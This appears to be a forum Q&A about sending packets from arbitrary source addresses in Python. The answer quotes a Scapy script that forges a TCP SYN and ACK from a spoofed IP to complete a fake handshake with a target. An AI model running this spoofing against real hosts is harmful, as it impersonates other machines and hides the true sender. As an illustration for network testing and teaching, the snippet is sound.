Question

Is there a python library out there than can allow me to send UDP packets to a machine (sending to localhost is ok) from different source addresses and ports? I remember that one existed, but can’t find it anymore.

Answer 1

You can spoof an IP address using Scapy library.

Here’s an example from Packet Wizardry: Ruling the Network with Python:

#!/usr/bin/env python import sys from scapy import * conf.verb=0  if len(sys.argv) != 4:     print 'Usage: ./spoof.py <target> <spoofed_ip> <port>'     sys.exit(1)  target = sys.argv[1] spoofed_ip = sys.argv[2] port = int(sys.argv[3])  p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S') send(p1) print 'Okay, SYN sent. Enter the sniffed sequence number now: '  seq=sys.stdin.readline() print 'Okay, using sequence number ' + seq  seq=int(seq[:-1]) p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',                                      ack=seq+1,seq=1) send(p2)  print 'Okay, final ACK sent. Check netstat on your target :-)'